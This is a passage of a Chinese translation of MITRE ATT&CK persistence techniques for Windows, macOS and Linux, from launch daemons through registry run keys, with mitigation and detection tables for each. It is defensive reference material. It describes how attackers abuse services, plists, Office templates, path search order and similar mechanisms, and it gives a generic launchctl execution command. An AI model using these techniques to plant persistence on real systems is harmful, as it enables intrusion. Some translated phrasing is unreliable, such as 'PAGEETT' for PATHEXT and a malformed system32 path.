对手可以安装一个新的启动守护进程，该守护进程可以通过使用启动或启动 ctl 时执行，从而将 plist 加载到适当的目录中。守护进程名称可以通过相关操作系统或良性软件中的名称进行伪装。启动守护程序可能使用管理员权限创建，但在根权限下执行，因此攻击者也可以使用服务将权限从管理员升级到 root 用户。

plist 文件权限必须为“root：wheel”，但它指向的脚本或程序没有此类要求。因此，配置不佳可能会允许攻击者修改当前启动守护程序的可执行文件，并获得持久性或权限升级。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 用户账号管理 | 限制用户帐户的权限并修复权限升级矢量，因此只有经过授权的管理员才能创建新的启动守护程序。 |

检测

通过其他 plist 文件和实用程序（如 Objective-see 的敲击应用程序）监控启动守护程序的创建。

# 3.26 Launchctl 工具

编号: T1152

技术： 防御逃逸，执行，持久化

平台： macOS

所需权限： User, Administrator

数据源： 文件监控，进程监控，进程命令行参数

支持远程：否

绕过的防护：应用白名单，进程白名单，文件名或文件路径白名单

版本： 1.0

Launchctl 用于控制 macOS 上启动代理和启动服务的加载程序，但是它自身也可执行其它命令或程序。Launchctl 支持在命令行中使用子命令，以交互方式运行甚至直接从标准输入重定向。通过加载或重加载要启动的代理和服务，恶意者可以做系统修改并持久化[1]。通过 Launchctl 执行命令非常简单：`launchctl submit -l-- /Path/to/thing/to/execute "arg" "arg" "arg"`。加载、卸载、或重新加载要启动的代理或服务可能需要提权。

恶意者可以滥用该功能以执行代码，甚至当 launchctl 属于白名单项时通过它执行程序可绕过系统的白名单校验机制。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 用户账户管理 | 禁止用户安装他们自己的启动代理和启动服务，要求他们遵循下发的组策略。 |

### 检测

Knock Knock 可用于检测 launchctl 安装启动代理或启动服务的驻留程序。另外，每个启动代理或启动服务都有可被监控的 plist 文件位于磁盘上。监控由 launchctl/launchd 启动的非常见或未知进程。

## 3.27 LC_LOAD_DYLIB Addition 添加

编号： T1161

技术： 持久化

平台： macOS

所需权限： 用户

数据源：二进制文件元数据，进程监控，进程命令行参数，文件监控

版本： 1.0

Mach-O 二进制文件具有一系列标头，用于在加载二进制文件时执行某些操作。Mach-O 二进制文件中的 LC_LOAD_DYLIB 标头告诉 macOS 和 OS X 在执行期间加载哪些动态库（动态库）。只要对其余字段和依赖项进行长时间调整，这些字段可以临时添加到已编译的二进制文件中。有可用于执行这些更改的工具。任何更改都将使二进制文件上的数字签名无效，因为二进制文件正在被修改。攻击者只需从二进制文件中删除 LC_CODE_SIGNATURE 命令即可修复此问题，以便在加载时不检查签名。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 审计 | 也可以根据它们所需的动态库对二进制文件进行基线化，如果应用需要一个新的动态库，该库是作为更新的一部分，则应对此进行调查. |
| 代码签名 | 强制使用正确的 Apple 开发人员代码对所有二进制文件进行签名。 |
| 执行预防 | 通过已知哈希将应用程序列入白名单。 |

### 检测

监视进程可用于修改二进制标头的。监视文件系统，监控对应用程序二进制文件和无效校验和/签名的更改。对与应用程序更新或修补程序不一致而对二进制文件的更改也非常可疑。

# 3.28 本地作业调度

编号: T1168

技术： 持久化，执行

平台： Linux, macOS

所需权限：管理员，用户, root 用户

数据源：文件监控，进程监控

贡献者：Anastasios Pingios

版本： 1.0

在 Linux 和 macOS 操作系统中，有很多方法支持创建预计划和周期性的后台任务：cron, at 和 launchd，与 Windows 操作系统的计划任务不同，在基于 Linux 操作系统中的任务调度默认无法远程执行，除非结合建立的远程会话使用，比如：安全的 shell（SSH）

## cron

安装系统级的 cron 任务可通过修改`/etc/crontab`文件，`/etc/cron.d/`目录或者 cron 后台程序支持的其它位置，安装用户级的 cron 任务可通过使用 crontab 联合特定格式化的 crontab 文件

这些方式允许命令或者脚本以特定的周期性间隔在后台执行，无需用户交互。攻击者可能在系统启动或者时使用任务调度或者预计划的持久化技术，进而来实施部分横向移动执行，获取 root 权限，或者特定账号上下文下运行进程

## at

在基于 POSIX 系统中，包括：macOS 和 Linux，at 程序是另一种计划程序或者脚本任务以延迟执行的方式，同样也能达到相同的目的。

## launchd

类似于 Launch 后台或者 Launch 代理技术，每个 launchd 任务通过不同的配置属性列表（plist）来描述，只是有个额外的带有时间属性字典的 StartCalendarInterval 键。这个方式仅能在 macOS 和 OS X 上运行

## 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 用户账户管理 | 限制用户使用组策略创建启动代理的能力. |

检测

在安装新软件或者通过管理功能时可能会创建合法的计划任务。可通过相应工具列举任务详情来监控这些 launched 和 cron 计划任务。可通过监控进程执行结果来查找异常或者位置的应用和行为。

# 3.29 登录项

| |
|---|
| 编号： T1162 |
| 技术： 持久化 |
| 平台： macOS |
| 所需权限： 用户 |
| 数据源： 文件监控，API 监控 |
| 版本： 1.0 |

MacOS 提供了用户登录时要运行的特定应用程序的选项。这些应用程序在登录的用户的上下文中运行，并且将在每次用户登录时启动。使用服务管理框架安装的登录项在系统首选项中不可见，并且只能由创建它们的应用程序删除。用户可以直接控制使用共享文件列表安装的登录项目，该文件列表在系统首选项中也可见。这些登录项存储在用户的`~/Library/Preferences/`目录中的 plist 文件下，该文件命名为`com.apple.loginitems.plist`。其中一些应用程序可以向用户打开可见对话框，但不必都打开，因为有"隐藏"窗口的选项。如果攻击者可以注册自己的登录项或修改现有登录项，则每次用户登录时，他们都可以使用它来执行其持久性机制的代码。API 方法`SMLoginItemSetEnabled`可用于设置登录项，但脚本语言（如 AppleScript）也可以执行此操作。

缓解

| 缓解措施 | 说明 |
|---|---|
| 用户帐户管理 | 限制用户创建自己的登录项目. |
| 用户培训 | 登录时按住移位键可防止应用自动打开。 |

检测

您通过访问“Apple 菜单 -> 系统首选项 -> 用户和组 -> 登录项目”来查看共享文件列表创建的所有登录项目。对于已知良好的应用程序，应监控此区域（和相应的文件位置）并列

出白名单。否则，登录项位于应用程序捆绑包中 `Contents/Library/LoginItems` 中，因此也应监视这些路径。在异常或未知应用程序登录操作后，监视进程执行。

# 3.30 登录脚本

编号：T1037

技术：横向移动，持久化

平台：macOS，Windows

系统要求：对系统或域登录脚本的写访问

数据源：文件监控，进程监控

CAPEC 编号：CAPEC-564

版本：1.0

Windows 允许在特定用户或用户组登录系统时运行登录脚本。脚本可用于执行管理功能，这些功能通常可以执行其他程序或向内部日志服务器发送信息。

如果攻击者可以访问这些登录脚本，他们可能会在脚本中插入其他代码，以便在用户登录时执行他们的工具。如果使用的是本地脚本，通过插入代码他们可以在单个系统上保持持久性；如果脚本存储在中央服务器上并推送到多个系统，通过插入代码他们可以在网络中横向移动。根据登录脚本的访问配置，操作中可能需要本地凭据或管理员账号。

只要特定用户登录或退出系统，Mac 就允许以 root 用户运行登录和注销 Hook。用户登录时，登录 Hook 告诉 Mac OS X 执行某个脚本。但与启动项不同的是，登录 Hook 以 root 用户执行。一次只能有一个登录 Hook。如果攻击者可以访问这些脚本，他们可以在脚本中插入其他代码，以便在用户登录时执行他们的工具。

## 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 文件和目录权限限制 | 将登录脚本的写访问权限限制为特定管理员。 |

## 检测

监控登录脚本来查看是否有异常用户的访问或异常时间的访问。查找由正常管理职责之外的异常账号添加或修改的文件。

# 3.31 LSASS 驱动程序

编号: T1177

技术： 执行，持久化

平台： Windows

所需权限：管理员，系统

数据源： API 监控，动态链接库监控，文件监控，内核驱动，加载的动态链接库，进程监控

支持远程: 否

贡献者: Vincent Le Toux

版本： 1.0

Windows 安全子系统是用来管理和执行计算机或者域相关的安全策略的一套组件。本地安全认证（LSA）是负责本地安全策略和用户鉴权的主要组件。LSA 包含多种关联其它安全方法的动态链接库（DLLs），这些都在 LSA 子系统服务 lsass.exe 进程上下文中执行。

攻击者可能会把 lsass.exe 驱动程序作为目标，用来获取执行或者持久化权限。通过替换或者添加非法驱动程序（如： DLL 测载或者 DLL 搜索排序劫持），攻击者可通过持续的 LSA 操作来触发任意代码执行

## 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 代码签名 | 在 Windows 8.1 和 Server 2012 R2 版本，通过设置将注册表项 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL` 设置为 `dword:00000001` 来启用 LSA 保护。LSA 保护确保 LSA 插件以及驱动程序只会被经过微软数字签名的软件装载，同时坚持微软安全开发生命周期流程指南。 |
| 凭据访问保护 | 在 Windows 10 和 Server 2016 上，启用 Windows 防御凭据守护，从而让 lsass.exe 运行在没有任何设备驱动程序的隔离虚拟环境中。 |
| 限制库装载 | 设置 `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode`，确保启用安全 DLL 搜索模式，从而减少 lsass.exe 装载恶意代码库的风险。 |

## 检测

在启用 LSA 保护的情况下，监控事件日志（事件 3033 和 3063）用来发现尝试失败加载 LSA 插件和驱动程序。

利用系统内置的 Autoruns/Autorunsc 工具，检查已经加载的与 LSA 关联的驱动程序

利用系统内置的进程监控工具，来监控 lsass.exe 装载 DLL 操作

# 3.32 修改现有服务

编号：T1031

技术：持久化

平台：Windows

所需权限：管理员，系统

数据源：Windows 注册表，文件监控，进程监控，进程命令行参数

CAPEC 编号：CAPEC-551

贡献者：Travis Smith，Tripwire；Matthew Demaske，Adaptforward

版本：1.0

Windows 服务配置信息（包括服务可执行文件或恢复程序/命令的文件路径）存储在注册表中。可以使用 sc.exe 和 Reg 等实用程序修改服务配置。

攻击者可能会使用系统实用程序或自定义工具与 Windows API 交互来修改现有服务以便在系统上保留恶意软件。使用现有服务是一种伪装形式，可能会使检测分析更具挑战性。修改现有服务可能会中断其功能，或者可能启用已禁用或不常用的服务。

攻击者还可能故意破坏或终止服务，从而执行恶意恢复程序/命令。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 审核 | 使用审核工具来检测企业系统中权限和服务滥用情况并对检测到的情况进行纠正。 |
| 用户账号管理 | 限制用户账号和组的权限，以便只有授权管理员才能与服务更改和服务配置进行交互。 |

检测

查找与已知软件、补丁周期等无关的服务注册表项更改。把二进制路径和服务启动类型从手动或禁用更改为自动（如果通常不这样做）的行为是可疑的。也可使用 Sysinternals Autoruns 等工具来检测是否有旨在获得持久性的系统服务更改。

服务信息存储在 `HKLM\SYSTEM\CurrentControlSet\Services` 的注册表中。

能够通过命令行调用修改服务的工具可能不常见，具体取决于系统在特定环境中的使用方式。收集服务实用程序执行信息和服务二进制路径参数，用于分析。甚至可以更改服务二进制路径以执行命令或脚本。

从已知服务中查找异常进程调用树来查看是否有与发现操作或其他攻击技术相关的其他命令的执行。还可以通过 Windows 系统管理工具（如 Windows Management Instrumentation 和 PowerShell）来修改服务。如果通过此方式修改服务，可能还需要配置日志功能以收集适当数据。

## 3.33 Netsh Helper DLL

编号：T1128

技术：持久化

平台：Windows

系统要求：[netsh](https://attack.mitre.org/software/S0108)

所需权限：管理员，系统

数据源：动态链接库监控，Windows 注册表，进程监控

贡献者：Matthew Demaske，Adaptforward

版本：1.0

命令行脚本实用程序 Netsh.exe（也称为 Netshell）用于与系统网络配置交互。它包含添加辅助动态链接库以扩展实用程序功能的功能。已注册的 netsh.exe 辅助程序动态链接库的路径输入到 `HKLM\SOFTWARE\Microsoft\Netsh` 的 Windows 注册表中。

当使用其它持久性技术自动执行 netsh.exe 或者在执行 netsh.exe（功能需要）的系统上存在其他持久软件时，攻击者可能会使用带有辅助动态链接库的 netsh.exe 以持久方式代理执行任意代码。比如，调用 netsh.exe 的 VPN 软件。

POC 代码证明，使用 netsh.exe 辅助程序动态链接库加载 Cobalt Strike 的有效负载。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

在大多数环境中，netsh.exe 拥有任何子进程都可能是不寻常的。监控进程执行并调查 netsh.exe 为恶意行为生成的子进程。监控 `HKLM\SOFTWARE\Microsoft\Netsh` 注册表项来查看是否有与已知系统文件或良性软件不相关的任何新条目或可疑条目。

## 3.34 新建服务

编号：T1050

技术：持久化，权限升级

平台：Windows

所需权限：管理员，系统

有效权限：系统

数据源：Windows 注册表，进程监控，进程命令行参数，Windows 事件日志

CAPEC 编号：CAPEC-550

贡献者：Pedro Harrison

版本：1.0

操作系统启动时，可以启动称为服务的程序或应用来执行后台系统功能。服务配置信息，包括服务可执行文件路径，存储在 Windows 注册表中。

攻击者可能会安装一个新的服务，并配置服务在启动时执行（通过使用实用程序与服务交互或直接修改注册表）。服务名称可以伪装为相关操作系统或良性软件中的名称。服务可能会是以管理员权限创建，但在系统权限下执行。因此，攻击者也可能使用服务将权限级别从管理员提升到系统。攻击者也可能通过服务执行技术来直接启动服务。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 用户账号管理 | 限制用户账号权限并调整权限提升途径，以便只有授权管理员才能创建新服务。 |

检测

通过查看注册表是否有改动或者常见实用程序是否有命令行调用来监控服务创建。创建新服务可能会有可变事件生成，比如，事件 4697 和事件 7045。安装新软件过程中可能会创建新的良性服务。不应孤立地看待数据和事件，而应将其视为可能导致其他活动的一系列行为中的一部分，例如为命令与控制而建立网络连接，通过发现了解环境的详细信息，以及横向移动。

也可使用 Sysinternals Autoruns 等工具来检测是否有旨在获得持久性的系统更改。查看是否有与已知软件、补丁周期等不相关的服务更改。通过服务执行的可疑程序可能会显示为异常进程。与历史数据进行比较时，这些进程以前从未出现过。

监控服务创建的相关进程和命令行参数。带内置功能的远程访问工具可以直接与 Windows API 交互，在典型系统实用程序之外执行这些功能。还可以通过 Windows 系统管理工具（如 Windows Management Instrumentation 和 Powershell）来创建服务。如果通过此方式创建服务，可能还需要配置日志功能来收集适当的数据。

## 3.35 Office 应用启动

编号：T1137

技术：持久化

平台：Windows

系统要求：Office 测试技术：Office 2007、2010、2013、2015 和 2016；加载项：有些需要管理员权限

所需权限：用户，管理员

数据源：进程监控，进程命令行参数，Windows 注册表，文件监控

贡献者：Praetorian；Nick Carr，FireEye；Loic Jaquemet；Ricardo Dias

版本：1.1

Microsoft Office 是企业网络中 Windows 操作系统上相当常见的应用套件。启动基于 Office 的应用时，可以使用多种配套 Office 的机制获得持久性。

## 办公模板宏

Microsoft Office 包含的模板是常见 Office 应用的一部分，用于自定义样式。每当应用启动时都会使用应用中的基本模板。

Office VBA（Visual Basic for Applications）可以插入到基本模板中，并在相应的 Office 应用启动时执行代码，从而获得持久性。已发现并发布了 Word 和 Excel 的示例。默认情况下，Word 自带 normal.dotm 模板，该模板可以修改并插入恶意宏。Excel 没有默认模板文件，但是可以添加一个。添加后，会自动加载此模板。

Word 模板 Normal.dotm 的位置：

```
C:\Users(username)\AppData\Roaming\Microsoft\Templates\Normal.dotm
```

Excel 模板 Personal.xlsb 的位置：

```
C:\Users(username)\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB
```

攻击者可能需要启用宏才能不受限制地执行，具体取决于系统或企业的宏使用安全策略。

## Office 测试

发现一个注册表位置。一个动态链接库引用放在此处时，每次 Office 应用启动后，都会执行二进制路径指向的相应动态链接库。

```
HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf
```

## 加载项

使用 Office 加载项可向 Office 程序添加功能。

加载项也可用于获取持久性，因为它们可以设置为在 Office 应用启动时执行代码。各种 Office 产品可以使用不同类型的加载项，包括 Word/Excel 加载项库（WLL/XLL）、VBA 加载项、Office COM 加载项、自动化加载项、VBA 编辑器（VBE）、VSTO（Visual Studio Tools for Office）加载项和 Outlook 加载项。

## Outlook 规则、表单和主页

Outlook 中发现了多种可被滥用以获得持久性的功能，如 Outlook 规则、表单和主页。

Outlook 规则允许用户定义自动行为来管理电子邮件。例如，定义一条规则让 Outlook 自动将特定发件人的包含特定单词的邮件转移到特定文件夹。攻击者可能会创建恶意规则让 Outlook 在攻击者发送邮件给指定用户后触发代码执行。

Outlook 表单在 Outlook 邮件中用作演示文稿和功能模板。攻击者可能会创建自定义 Outlook 表单。使用此表单发送他们特制的电子邮件时会触发代码执行。

Outlook 主页是 Outlook 的老功能，用于自定义 Outlook 文件夹的演示文稿。此功能允许文件夹打开时加载和显示内部或外部 URL。攻击者可能会制作恶意 HTML 页面。Outlook 主页加载此页面时会触发代码执行。

要使用这些功能，攻击者需要事先通过 Exchange / OWA 服务器或客户端应用访问用户的 Outlook 邮箱。一旦恶意规则、表单或主页添加到用户的邮箱，Outlook 启动时就会加载它们。如果是恶意主页，用户邮箱加载/重新加载正确的 Outlook 文件夹时会执行恶意主页。如果是恶意规则或表单，攻击者发送特制邮件给用户时，会执行恶意规则或表单。

### 缓解

| **缓解措施** | **说明** |
| --- | --- |
| 特性/程序禁用或移除 | 遵循适合您环境的 Office 宏安全最佳实践。禁止执行 Office VBA 宏。禁用 Office 加载项。如果需要，请遵循最佳实践来保护它们，方法是要求对其签名并禁用允许加载项的用户通知。对于某些加载项类型（WLL，VBA），可能需要额外的措施，因为在 Office 信任中心禁用加载项并不会禁用 WLL，也不会阻止 VBA 代码执行。 |
| 软件配置 | 对于利用 Office 测试的情况，创建用来执行此测试的注册表项并将其权限设置为“读取控制”，防止攻击者在没有管理员权限的情况下轻松访问密钥或防止权限提升的要求。 |
| 软件升级 | 对于利用 Outlook 的情况，仅仅阻止宏使用是没有效果的，因为 Visual Basic 引擎与宏脚本引擎是分开的。微软已经发布了补丁，设法解决这些问题。确保系统已做如下更新：KB3191938，阻止 Outlook Visual Basic 并显示恶意代码警告；KB4011091，默认情况下禁用自定义表单；KB4011162，删除老的主页功能。 |

### 检测

许多 Office 相关的持久性机制要求更改注册表，并将二进制、文件或脚本写入磁盘或修改现有文件使其包含恶意脚本。收集注册表项创建和修改相关事件，获取用于 Office 持久性的表项。研究基本模板（如 Normal.dotm）的修改点，因为基本模板可能不包含 VBA 宏。还应调查 Office 宏安全设置的修改点。

监控并验证文件系统上的 Office 受信任位置，并审核与启用加载项相关的注册表项。

非标准进程执行树也可能指示可疑或恶意行为。收集进程执行信息，包括 PID（进程 ID）和 PPID（父进程 ID），并查找 Office 进程导致的异常活动链。如果其他攻击技术相关的可疑进程或活动的父进程是 winword.exe，则可能表示该应用被恶意使用。

对于利用 Outlook 规则和表单的情况，微软已发布 PowerShell 脚本来妥善收集邮件环境中的邮件转发规则和自定义表单以及解释输出的步骤。SensePost 的工具 Ruler 也会被攻击者用来执行恶意规则、表单和主页攻击。针对这种情况，SensePost 发布了一个工具来检测 Ruler 的使用情况。

# 3.36 路径拦截

| | |
|---|---|
| 编号： | T1034 |
| 技术： | 持久化，权限升级 |
| 平台： | Windows |
| 所需权限： | 用户，管理员，系统 |
| 有效权限: | 用户，管理员，系统 |
| 数据源： | 文件监控，进程监控 |
| CAPEC 编号： | CAPEC-159 |
| 贡献者: | Stefan Kanthak |
| 版本： | 1.0 |

当可执行文件放置在特定路径中，以便于在应用程序不是预期目标执行时，就会发生路径拦截。这方面的一个例子是在当前工作目录中使用 **cmd** 的副本，该应用程序使用 CreateProcess 函数加载 CMD 或 BAT 文件。

在执行路径拦截时，对手可能会利用多个明显的弱点或配置错误：未引用的路径、路径环境变量错误配置和搜索顺序劫持。第一个漏洞处理完整的程序路径，而第二个和第三个在未指定程序路径时发生。如果定期调用可执行文件，这些技术可用于持久性；如果截获的可执行文件由较高特权进程启动，则可用于持久化。

## 未引用的路径

如果服务路径具有一个或多个空格，并且没有引号（例如，`C:\unsafe path with space\program.exe` vs. `"C:\safe path with space\program.exe"`），则（存储在 Windows 注册表项中的）服务路径和快捷方式路径容易受到路径拦截。攻击者可以将可执行文件放在路径的更高级别的目录中，Windows 将解析该可执行文件而不是预期的可执行文件。例如，如果快捷方式中的路径为 `C:\program files\myapp.exe`，则攻击者可以在 `C:\program.exe` 中创建程序，该程序将而非预期程序运行。

### PATH 环境变量配置错误

PATH 环境变量包含目录列表。在未给出程序路径时，执行程序的某些方法（即使用 cmd.exe 或命令行）仅依赖于 PATH 环境变量来确定搜索程序的位置。如果在 Windows 目录前的 PATH 环境变量中列出了任何目录，则`%SystemRoot%\system32`（例如，`C:\Windows_system32`）可以放置于 Windows 程序（如 cmd、PowerShell 或 Python），则该命令从脚本或命令行执行时执行。

例如，从命令行执行"net"时，如果 `C:\example path` 在 PATH 环境变量中位于 `C:\Windows_system32`，则将调用名为 net.exe ，并放置在 `C:\example path` 中的程序，而不是 Windows 系统"net"。

### 搜索顺序劫持

当攻击者滥用 Windows 搜索未获得路径的程序的顺序时，就会发生搜索顺序劫持。搜索顺序根据用于执行程序的方法而异。但是，Windows 在搜索 Windows 系统目录之前，通常要在启动程序的目录中搜索。发现程序易受搜索订单劫持（即未指定可执行程序路径的程序）的对手可以通过以未正确指定的程序命名创建的程序，并将其置于其中来利用此漏洞启动程序的目录。

例如，"example.exe"使用命令行参数 `net user` 运行"cmd.exe"。攻击者可能会将名为"net.exe"的程序放在与 example.exe 相同的目录中，而不是运行 Windows 系统实用程序网。此外，根据 PAGEETT 下定义的可执行扩展的顺序，如果攻击者将名为"net.com"的程序放在与"net.exe"相同的目录中，则 `cmd.exe /C net user` 将执行"net.com"而不是"net.exe"。

搜索顺序劫持也是劫持 DLL 负载的常见做法，在 DLL 搜索顺序劫持中介绍。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 审计 | 通过围绕带有引号的 PATH 变量查找并消除程序配置文件、脚本、PATH 环境变量、服务和快捷方式中的路径拦截弱点，当函数允许它们时，这些弱点将带有引号。请注意 Windows 用于执行或加载二进制文件的搜索顺序，并酌情使用完全限定的路径。卸载软件时清理旧的 Windows 注册表项密钥，以避免没有关联的合法二进制文件。定期搜索并更正或报告可能由于使用不安全路径配置报告软件的自定义或可用工具引入的系统上的路径拦截弱点。 |
| 执行预防 | 攻击者可能需要在要通过此弱点执行的位置放置新的二进制文件。如果适用，使用应用程序白名单工具（如 Windows 防御者应用程序控制、AppLocker 或软件限制策略以识别和阻止可能执行路径拦截的恶意软件。 |
| 限制文件和目录权限 | 要求将所有可执行文件放在受写入保护的目录中。 |
| 用户帐户管理 | 确保设置了适当的权限和目录访问控制，以阻止用户将文件写入顶级目录 `C:` 和系统目录 |

| | |
|---|---|
| | （如 `C:\Windows\`），以减少恶意文件可能的位置被放置以执行。 |

### 检测

监控以部分目录命名的文件以及可能通过环境变量搜索常见进程的位置创建的文件，或者不应是用户可写的文件。监控针对部分目录命名的可执行路径的执行过程。监控以 Windows 系统程序命名的程序的文件创建，这些程序通常在没有路径的情况下执行（如"findstr"、"net"和"python"）。如果此活动发生在已知的管理活动、升级、安装或修补程序之外，则可能是可疑的。

不应孤立地查看数据和事件，而应将其视为可能导致其他活动的行为链的一部分，例如为命令与控制而建立的连接、通过发现了解环境的详细信息以及横向移动。

## 3.37 Plist 修改

编号： T1150

技术： 防御逃逸，持久化，权限升级

平台： macOS

所需权限： 用户，管理员

数据源：文件监控，进程监控，进程命令行参数

绕过的防御:应用程序白名单，进程白名单，按文件名或路径列出白名单

版本： 1.0

属性列表 （plist） 文件包含 macOS 和 OS X 用于配置应用程序和服务的所有信息。这些文件是通过一系列键<>包围的 UTF-8 编码和格式化像 XML 文档。它们详细说明程序何时应执行、可执行文件路径、程序参数、所需的操作系统权限以及其他许多权限。plists 位于特定位置，具体取决于其用途，例如`/Library/Preferences`（以提升的权限执行）和`~/Library/Preferences`（使用用户的权限执行）。攻击者可以修改这些 plist 文件以指向自己的代码，可以使用它们在另一个用户的上下文中执行其代码，绕过白名单过程，甚至将它们用作持久性机制。

### 缓解

| 缓解措施 | 说明 |
|---|---|
| 限制文件和目录权限 | 使 plist 文件成为只读文件，防止用户修改这些文件. |

检测

文件系统监视可以确定是否正在修改 plist 文件。在大多数情况下，用户不应有权限修改这些。某些软件工具（如"敲击"）可以检测持久性机制，并指向正在引用的特定文件。这有助于查看实际执行的内容。

监控进程执行，查找由修改的 plist 文件产生的异常进程的执行。监控用于修改 plist 文件或将 plist 文件作为参数的实用程序，这可能指示可疑活动。

# 3.38 端口试探

编号： T1205

技术： 防御逃逸，持久化，命令与控制

平台： Linux, macOS

所需权限： 用户

需要网络: 是

绕过的防御: 防御网络服务扫描

版本： 1.0

端口敲击是防御者和对手用来隐藏开放端口以阻止访问的成熟方法。要启用端口，攻击者会在打开端口之前发送一系列具有特定特征的数据包。通常，这一系列数据包包括尝试连接到预定义的封闭端口序列，但可能涉及异常标志、特定字符串或其他唯一特征。序列完成后，打开端口通常由基于主机的防火墙完成，但也可以通过自定义软件实现。

对于侦听端口的动态打开以及启动与不同系统上的侦听服务器的连接，该技术已备受关注。

可以通过不同方法对信号数据包进行观察以触发通信。一种手段，最初由 Cd00r 实现，是使用 libpcap 库来嗅探有问题的数据包。另一种方法利用原始套接字，使恶意软件能够使用已打开供其他程序使用的端口。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 过滤网络流量 | 可通过使用有状态防火墙来缓解此技术的某些变体，具体取决于其实现方式. |

### 检测

记录发送到系统或从系统发送的网络数据包，查找不属于已建立流的无关数据包.

## 3.39 端口监控

编号：T1013

技术：持久化，权限升级

平台：Windows

所需权限：管理员，系统

有效权限：系统

数据源：文件监控，API 监控，动态链接库监控，Windows 注册表，进程监控

贡献者：Stefan Kanthak；Travis Smith，Tripwire

版本：1.0

可以通过 API 调用设置端口监视器，设置在动态链接库启动时加载它。此动态链接库可以位于 `C:\Windows\System32`，并在启动时由打印后台处理程序服务 spoolsv.exe 加载。spoolsv.exe 进程也在系统级别权限下运行。或者，如果权限允许将动态链接库的完全限定路径名写入 `HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors`，则可以加载任意动态链接库。

注册表项包含以下内容：

- 本地端口
- 标准 TCP/IP 端口
- USB 监视器
- WSD 端口

攻击者可能会使用此技术在启动时加载恶意代码，这些代码即便在系统重启后仍存在并且以系统权限执行。

### 缓解

这种类型的攻击技术基于系统功能的滥用，无法通过预防性控制来轻松缓解其造成的影响。

### 检测

- 监控进程 API 调用。
- 监控 spoolsv.exe 加载的异常动态链接库。
- 观察是否有与已知良性软件或补丁无关的新动态链接库写入到 System32 目录的情况。
- 监控注册表写入 `HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors`。
- 运行 Autoruns 实用程序，该实用程序检查用于持久性机制的注册表项。

# 3.40 Rc.common

编号： T1163

技术： 持久化

平台： macOS

所需权限： root 用户

数据源： 文件监控，进程监控

版本： 1.0

在启动过程中，macOS 执行 `source /etc/rc.common`，这是一个包含各种实用程序函数的 shell 脚本。此文件还定义了用于处理命令行参数和收集系统设置的例程，因此建议包含在启动项脚本的开头中。在 macOS 和 OS X 中，这是一种弃用的技术，有利于启动代理和启动守护进程，但目前仍在使用。

攻击者可以使用 rc.common 文件来隐藏持久化的代码，该代码将在每次重新启动时以 root 用户执行。

## 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 用户帐户管理 | 限制用户权限，以便只有授权用户可以编辑 rc.common 文件。 |

## 检测

通过监视`/etc/rc.common`文件，以检测公司策略的更改。监控由 rc.common 脚本生成的异常或未知应用程序或行为的进程执行。

# 3.41 重新打开应用

编号： T1164

技术： 持久化

平台： macOS

所需权限： 用户

版本： 1.0

从 Mac OS X 10.7 （Lion） 开始，用户可以通过指定在用户重新启动计算机时重新打开的某些应用程序。虽然这通常是在应用程序的基础上通过图形用户界面 （GUI）完成，但有属性列表文件 （plist） 包含此信息，以及位于 `~/Library/Preferences/com.apple.loginwindow.plist` 和 `~/Library/Preferences/ByHost/com.apple.loginwindow.* .plist`.

攻击者可以直接修改这些文件之一，包括指向其恶意可执行文件的链接，为每次用户重新启动其计算机时提供持久性机制。

缓解

| 缓解措施 | 说明 |
| --- | --- |
| 禁用或删除功能或程序 | 此功能可以通过以下终端命令完全禁用：`defaults write -g ApplePersistence -bool no`. |
| 用户培训 | 登录时按住 Shift 键可防止应用自动打开。 |

检测

监控与重新打开应用程序关联的特定的 plist 文件，该文件指示了应用程序何时注册以重新打开自身。

# 3.42 冗余访问

编号： T1108

技术： 防御逃逸，持久化

平台： Linux, macOS, Windows

所需权限： 用户，管理员，系统

数据源：进程监控，进程使用网络，网络抓包，网络协议分析，文件监控，认证日志，二进制文件元数据

绕过的防御：网络入侵检测系统，杀毒

版本： 1.0

攻击者可以使用多个具有不同命令与控制协议的远程访问工具作为检测的对冲。如果检测到一种类型的工具作为响应，则进行拦截或删除，但组织没有完全了解攻击者的工具和访问权限，则攻击者将能够保留对网络的访问权限。尽管目标网络中部署的远程访问工具受到中断，攻击者还可能尝试访问有效帐户，以使用外部远程服务（如外部 VPN）作为维护访问的一种方式。

使用 Web 命令行管理程序是一种通过外部可访问的 Web 服务器，维护访问网络的方式。

### 缓解

| 缓解措施 | 说明 |
| --- | --- |
| 网络入侵防护 | 使用网络签名来标识特定攻击者恶意软件的流量的网络入侵检测和预防系统，可缓解网络级别的活动。签名通常用于协议中的唯一指标，并且在不同的恶意软件系列和版本中会有所不同。攻击者可能会随着时间的推移更改工具签名，或者以避免常见防御工具检测的方式构造协议。 |

### 检测

现有的远程访问工具检测方法非常有用。备份远程访问工具或其他接入点在入侵期间可能没有建立命令与控制通道，因此传输的数据量可能不如主通道高，除非访问丢失。

检测基于信标流量、命令与控制协议或对手基础结构的工具需要事先对攻击者可能使用的工具、IP 地址和/或域进行威胁情报，同时能够检测网络边界上的使用情况。如果可以使用工具扫描这些指标，则事先了解折衷指标也有助于检测端点上的对手工具。

如果入侵正在进行，并且收集了足够的端点数据或解码的命令与控制流量，则防御者可能能够检测到攻击者执行操作时丢弃的其他工具。

对于使用外部可访问的 VPN 或远程服务的替代访问，请按照"有效帐户和外部远程服务"下的检测建议来收集帐户使用信息。

## 3.43 注册表运行键/启动文件夹

编号：T1060

技术：持久化

平台：Windows

系统要求：HKEY_LOCAL_MACHINE 键需要管理员访问才能创建和修改

所需权限：用户，管理员

数据源：Windows 注册表，文件监控

CAPEC 编号：CAPEC-270

